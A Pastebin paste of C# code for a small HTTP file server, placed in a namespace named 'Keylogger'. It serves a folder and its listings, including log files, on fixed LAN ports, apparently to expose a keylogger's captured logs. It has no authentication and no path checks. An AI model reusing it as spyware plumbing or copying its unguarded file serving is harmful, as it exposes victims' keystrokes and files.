SHARE
TWEET

Untitled

HackcatDev Mar 7th, 2019 154 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // MIT License - Copyright (c) 2016 Can Güney Aksakalli
  2. // https://aksakalli.github.io/2014/02/24/simple-http-server-with-csparp.html
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Net.Sockets;
  9. using System.Net;
  10. using System.IO;
  11. using System.Threading;
  12. using System.Diagnostics;
  13.  
  14. namespace Keylogger
  15. {
  16.     class SimpleHTTPServer
  17.     {
  18.         private readonly string[] _indexFiles = {
  19.         "index.html",
  20.         "index.htm",
  21.         "default.html",
  22.         "default.htm"
  23.     };
  24.         private String _servername = "Keylogger HTTP server at {addr} port {port}";
  25.         private static IDictionary<string, string> _mimeTypeMappings = new Dictionary<string, string>(StringComparer.InvariantCultureIgnoreCase) {
  26.         #region extension to MIME type list
  27.         {".asf", "video/x-ms-asf"},
  28.         {".asx", "video/x-ms-asf"},
  29.         {".avi", "video/x-msvideo"},
  30.         {".bin", "application/octet-stream"},
  31.         {".cco", "application/x-cocoa"},
  32.         {".crt", "application/x-x509-ca-cert"},
  33.         {".css", "text/css"},
  34.         {".deb", "application/octet-stream"},
  35.         {".der", "application/x-x509-ca-cert"},
  36.         {".dll", "application/octet-stream"},
  37.         {".dmg", "application/octet-stream"},
  38.         {".ear", "application/java-archive"},
  39.         {".eot", "application/octet-stream"},
  40.         {".exe", "application/octet-stream"},
  41.         {".flv", "video/x-flv"},
  42.         {".gif", "image/gif"},
  43.         {".hqx", "application/mac-binhex40"},
  44.         {".htc", "text/x-component"},
  45.         {".htm", "text/html"},
  46.         {".html", "text/html"},
  47.         {".ico", "image/x-icon"},
  48.         {".img", "application/octet-stream"},
  49.         {".iso", "application/octet-stream"},
  50.         {".jar", "application/java-archive"},
  51.         {".jardiff", "application/x-java-archive-diff"},
  52.         {".jng", "image/x-jng"},
  53.         {".jnlp", "application/x-java-jnlp-file"},
  54.         {".jpeg", "image/jpeg"},
  55.         {".jpg", "image/jpeg"},
  56.         {".js", "application/x-javascript"},
  57.         {".mml", "text/mathml"},
  58.         {".mng", "video/x-mng"},
  59.         {".mov", "video/quicktime"},
  60.         {".mp3", "audio/mpeg"},
  61.         {".mpeg", "video/mpeg"},
  62.         {".mpg", "video/mpeg"},
  63.         {".msi", "application/octet-stream"},
  64.         {".msm", "application/octet-stream"},
  65.         {".msp", "application/octet-stream"},
  66.         {".pdb", "application/x-pilot"},
  67.         {".pdf", "application/pdf"},
  68.         {".pem", "application/x-x509-ca-cert"},
  69.         {".pl", "application/x-perl"},
  70.         {".pm", "application/x-perl"},
  71.         {".png", "image/png"},
  72.         {".prc", "application/x-pilot"},
  73.         {".ra", "audio/x-realaudio"},
  74.         {".rar", "application/x-rar-compressed"},
  75.         {".rpm", "application/x-redhat-package-manager"},
  76.         {".rss", "text/xml"},
  77.         {".run", "application/x-makeself"},
  78.         {".sea", "application/x-sea"},
  79.         {".shtml", "text/html"},
  80.         {".sit", "application/x-stuffit"},
  81.         {".swf", "application/x-shockwave-flash"},
  82.         {".tcl", "application/x-tcl"},
  83.         {".tk", "application/x-tcl"},
  84.         {".txt", "text/plain"},
  85.         {".war", "application/java-archive"},
  86.         {".wbmp", "image/vnd.wap.wbmp"},
  87.         {".wmv", "video/x-ms-wmv"},
  88.         {".xml", "text/xml"},
  89.         {".xpi", "application/x-xpinstall"},
  90.         {".zip", "application/zip"},
  91.         {".log", "text/plain"}
  92.         #endregion
  93.     };
  94.         private Thread _serverThread;
  95.         private string _rootDirectory;
  96.         private HttpListener _listener;
  97.         private HttpListener _listener2;
  98.         private int _port;
  99.  
  100.         public int Port
  101.         {
  102.             get { return _port; }
  103.             private set { }
  104.         }
  105.  
  106.         /// <summary>
  107.         /// Construct server with given port.
  108.         /// </summary>
  109.         /// <param name="path">Directory path to serve.</param>
  110.         /// <param name="port">Port of the server.</param>
  111.         public SimpleHTTPServer(string path, int port)
  112.         {
  113.             this.Initialize(path, port);
  114.         }
  115.  
  116.         /// <summary>
  117.         /// Construct server with suitable port.
  118.         /// </summary>
  119.         /// <param name="path">Directory path to serve.</param>
  120.         public SimpleHTTPServer(string path)
  121.         {
  122.             //get an empty port
  123.             TcpListener l = new TcpListener(IPAddress.Loopback, 0);
  124.             l.Start();
  125.             int port = ((IPEndPoint)l.LocalEndpoint).Port;
  126.             l.Stop();
  127.             port = 34000;
  128.             this.Initialize(path, port);
  129.         }
  130.  
  131.         /// <summary>
  132.         /// Stop server and dispose all functions.
  133.         /// </summary>
  134.         public void Stop()
  135.         {
  136.             _serverThread.Abort();
  137.             _t2.Abort();
  138.             _listener.Stop();
  139.             _listener2.Stop();
  140.         }
  141.  
  142.         private void Listen()
  143.         {
  144.             _listener = new HttpListener();
  145.             _listener.Prefixes.Add($"http://{_currentAddress}:{_port.ToString()}/");
  146.             _listener.Prefixes.Add($"http://127.0.0.1:{_port.ToString()}/");
  147.             _listener.Start();
  148.             while (true)
  149.             {
  150.                 try
  151.                 {
  152.                     HttpListenerContext context = _listener.GetContext();
  153.                     Process(context);
  154.                 }
  155.                 catch (Exception ex)
  156.                 {
  157.  
  158.                 }
  159.             }
  160.         }
  161.         private void Listen2()
  162.         {
  163.             _listener2 = new HttpListener();
  164.             _listener2.Prefixes.Add($"http://{_currentAddress}:{(_port + 1).ToString()}/");
  165.             _listener2.Prefixes.Add($"http://127.0.0.1:{(_port + 1).ToString()}/");
  166.             _listener2.Start();
  167.             while (true)
  168.             {
  169.                 try
  170.                 {
  171.                     HttpListenerContext context = _listener2.GetContext();
  172.                     Process2(context);
  173.                 }
  174.                 catch (Exception ex)
  175.                 {
  176.  
  177.                 }
  178.             }
  179.         }
  180.         private String _currentAddress = "";
  181.         private void _InitAddr()
  182.         {
  183.             var host = Dns.GetHostEntry(Dns.GetHostName());
  184.             foreach (var ip in host.AddressList)
  185.             {
  186.                 if (ip.AddressFamily == AddressFamily.InterNetwork)
  187.                 {
  188.                     _currentAddress = ip.ToString();
  189.                 }
  190.             }
  191.         }
  192.         private string DirectoryList(String directory, String rel)
  193.         {
  194.             String html = $"<!DOCTYPE HTML PUBLIC \" -//W3C//DTD HTML 3.2 Final//EN\"><html><head><title>Index of /{rel} </title></head><body><h1>Index of /{rel}</h1><br><br><table>";
  195.             bool _isRoot = false;
  196.             if (String.IsNullOrWhiteSpace(rel))
  197.             {
  198.                 rel = "/";
  199.                 _isRoot = true;
  200.             }
  201.             else if (rel.Trim(" \r\n".ToCharArray()) == "/")
  202.             {
  203.                 _isRoot = true;
  204.             }
  205.             else if (rel.StartsWith("/"))
  206.             {
  207.  
  208.             }
  209.             else
  210.             {
  211.                 rel = "/" + rel;
  212.             }
  213.             if (!_isRoot)
  214.             {
  215.                 html += $"<tr><td valign=\"top\"><img src=\"http://www.ibiblio.org/icons/back.gif\"></td><td><a href=\"http://{_currentAddress + $":{Port.ToString()}" + "/"}/\">Root directory/</a></td></tr>";
  216.             }
  217.             foreach (var ci in Directory.EnumerateDirectories(directory))
  218.             {
  219.                 DirectoryInfo di = new DirectoryInfo(ci);
  220.                 html += $"<tr><td valign=\"top\"><img src=\"http://www.ibiblio.org/icons/folder.gif\"></td><td><a href=\"http://{_currentAddress + $":{Port.ToString()}" + rel + "/" + di.Name}/\">{di.Name}/</a></td></tr>";
  221.             }
  222.             foreach (var ci in Directory.EnumerateFiles(directory))
  223.             {
  224.                 FileInfo fi = new FileInfo(ci);
  225.                 html += $"<tr><td valign=\"top\"><img src=\"http://www.ibiblio.org/icons/text.gif\"></td><td><a href=\"http://{_currentAddress + $":{Port.ToString()}" + rel + "/" + fi.Name}\">{fi.Name}</a></td></tr>";
  226.             }
  227.             html += $"</table><br><br><br><address>{_servername.Replace("{addr}",_currentAddress).Replace("{port}",Port.ToString())}</address></body></html>";
  228.             return html.Replace("//","/").Replace("//","/").Replace("http:/","http://");
  229.         }
  230.         private void Process(HttpListenerContext context)
  231.         {
  232.             string filename = context.Request.Url.AbsolutePath;
  233.             Console.WriteLine(filename);
  234.             filename = filename.Substring(1);
  235.             if (File.Exists(Path.Combine(_rootDirectory, filename)))
  236.             {
  237.                 //If it's file, we'll return its contents. Now do nothing
  238.             }
  239.             else if (Directory.Exists(Path.Combine(_rootDirectory, filename)))
  240.             {
  241.                 //Directory listing
  242.                 File.Delete("__temp_dlist.html");
  243.                 File.WriteAllText("__temp_dlist.html", DirectoryList(Path.Combine(_rootDirectory, filename), filename));
  244.                 filename = "__temp_dlist.html";
  245.             }
  246.             if (string.IsNullOrEmpty(filename))
  247.             {
  248.                 foreach (string indexFile in _indexFiles)
  249.                 {
  250.                     if (File.Exists(Path.Combine(_rootDirectory, indexFile)))
  251.                     {
  252.                         filename = indexFile;
  253.                         break;
  254.                     }
  255.                 }
  256.             }
  257.  
  258.             filename = Path.Combine(_rootDirectory, filename);
  259.  
  260.             if (File.Exists(filename))
  261.             {
  262.                 try
  263.                 {
  264.                     Stream input = new FileStream(filename, FileMode.Open);
  265.  
  266.                     //Adding permanent http response headers
  267.                     string mime;
  268.                     context.Response.ContentType = _mimeTypeMappings.TryGetValue(Path.GetExtension(filename), out mime) ? mime : "application/octet-stream";
  269.                     context.Response.ContentLength64 = input.Length;
  270.                     context.Response.AddHeader("Date", DateTime.Now.ToString("r"));
  271.                     context.Response.AddHeader("Last-Modified", System.IO.File.GetLastWriteTime(filename).ToString("r"));
  272.  
  273.                     byte[] buffer = new byte[1024 * 16];
  274.                     int nbytes;
  275.                     while ((nbytes = input.Read(buffer, 0, buffer.Length)) > 0)
  276.                         context.Response.OutputStream.Write(buffer, 0, nbytes);
  277.                     input.Close();
  278.  
  279.                     context.Response.StatusCode = (int)HttpStatusCode.OK;
  280.                     context.Response.OutputStream.Flush();
  281.                 }
  282.                 catch (Exception ex)
  283.                 {
  284.                     context.Response.StatusCode = (int)HttpStatusCode.InternalServerError;
  285.                 }
  286.  
  287.             }
  288.             else
  289.             {
  290.                 context.Response.StatusCode = (int)HttpStatusCode.NotFound;
  291.             }
  292.  
  293.             context.Response.OutputStream.Close();
  294.         }
  295.         private string DirectoryList2(String directory, String rel)
  296.         {
  297.             String html = "";
  298.             bool _isRoot = false;
  299.             if (String.IsNullOrWhiteSpace(rel))
  300.             {
  301.                 rel = "/";
  302.                 _isRoot = true;
  303.             }
  304.             else if (rel.Trim(" \r\n".ToCharArray()) == "/")
  305.             {
  306.                 _isRoot = true;
  307.             }
  308.             else if (rel.StartsWith("/"))
  309.             {
  310.  
  311.             }
  312.             else
  313.             {
  314.                 rel = "/" + rel;
  315.             }
  316.             if (!_isRoot)
  317.             {
  318.                 html += "dir:..\r\n";
  319.             }
  320.             foreach (var ci in Directory.EnumerateDirectories(directory))
  321.             {
  322.                 DirectoryInfo di = new DirectoryInfo(ci);
  323.                 html += $"dir:{di.Name}\r\n";
  324.             }
  325.             foreach (var ci in Directory.EnumerateFiles(directory))
  326.             {
  327.                 FileInfo fi = new FileInfo(ci);
  328.                 html += $"file:{fi.Name}\r\n";
  329.             }
  330.             return html;
  331.         }
  332.         private void Process2(HttpListenerContext context)
  333.         {
  334.             //Raw connection
  335.             string filename = context.Request.Url.AbsolutePath;
  336.             filename = filename.Substring(1);
  337.             if (File.Exists(Path.Combine(_rootDirectory, filename)))
  338.             {
  339.                 //If it's file, we'll return its contents. Now do nothing
  340.             }
  341.             else if (Directory.Exists(Path.Combine(_rootDirectory, filename)))
  342.             {
  343.                 //Directory listing
  344.                 File.Delete("__temp_dlist_.html");
  345.                 File.WriteAllText("__temp_dlist_.html", DirectoryList2(Path.Combine(_rootDirectory, filename), filename));
  346.                 filename = "__temp_dlist_.html";
  347.             }
  348.             if (string.IsNullOrEmpty(filename))
  349.             {
  350.                 foreach (string indexFile in _indexFiles)
  351.                 {
  352.                     if (File.Exists(Path.Combine(_rootDirectory, indexFile)))
  353.                     {
  354.                         filename = indexFile;
  355.                         break;
  356.                     }
  357.                 }
  358.             }
  359.  
  360.             filename = Path.Combine(_rootDirectory, filename);
  361.  
  362.             if (File.Exists(filename))
  363.             {
  364.                 try
  365.                 {
  366.                     Stream input = new FileStream(filename, FileMode.Open);
  367.  
  368.                     //Adding permanent http response headers
  369.                     string mime;
  370.                     context.Response.ContentType = "application/octet-stream";
  371.                     context.Response.ContentLength64 = input.Length;
  372.                     context.Response.AddHeader("Date", DateTime.Now.ToString("r"));
  373.                     context.Response.AddHeader("Last-Modified", System.IO.File.GetLastWriteTime(filename).ToString("r"));
  374.  
  375.                     byte[] buffer = new byte[1024 * 16];
  376.                     int nbytes;
  377.                     while ((nbytes = input.Read(buffer, 0, buffer.Length)) > 0)
  378.                         context.Response.OutputStream.Write(buffer, 0, nbytes);
  379.                     input.Close();
  380.  
  381.                     context.Response.StatusCode = (int)HttpStatusCode.OK;
  382.                     context.Response.OutputStream.Flush();
  383.                 }
  384.                 catch (Exception ex)
  385.                 {
  386.                     context.Response.StatusCode = (int)HttpStatusCode.InternalServerError;
  387.                 }
  388.  
  389.             }
  390.             else
  391.             {
  392.                 context.Response.StatusCode = (int)HttpStatusCode.NotFound;
  393.             }
  394.  
  395.             context.Response.OutputStream.Close();
  396.         }
  397.         Thread _t2;
  398.         private void Initialize(string path, int port)
  399.         {
  400.             this._rootDirectory = path;
  401.             this._port = port;
  402.             _InitAddr();
  403.             _serverThread = new Thread(this.Listen);
  404.             _serverThread.Start();
  405.             _t2 = new Thread(Listen2);
  406.             _t2.Start();
  407.         }
  408.  
  409.  
  410.     }
  411. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top